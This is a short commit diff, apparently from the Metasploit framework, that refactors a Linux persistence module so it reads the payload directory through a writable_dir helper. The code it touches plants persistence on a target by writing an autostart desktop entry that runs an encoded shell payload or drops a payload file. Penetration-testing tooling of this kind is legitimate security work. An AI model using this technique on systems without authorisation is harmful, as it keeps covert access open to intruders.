autostart updated with mixin udpates

Author: h00die

modules/exploits/linux/persistence/autostart.rb

@@ -70,7 +70,7 @@ def initialize(info = {})
   end
 
   def check
-    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
+    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
     # https://unix.stackexchange.com/a/237750
     return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg')
 
@@ -84,7 +84,7 @@ def target_user
   end
 
   def install_persistence
-    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
+    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
     user = target_user
     home = get_home_dir(user)
     vprint_status('Making sure the autostart directory exists')
@@ -103,11 +103,10 @@ def install_persistence
       'Terminal=false'
     ]
 
-    @clean_up_rc = ''
     if payload.arch.first == 'cmd'
       write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n"))
     else
-      payload_path = datastore['WritableDir']
+      payload_path = writable_dir
       payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
       payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
       payload_path << payload_name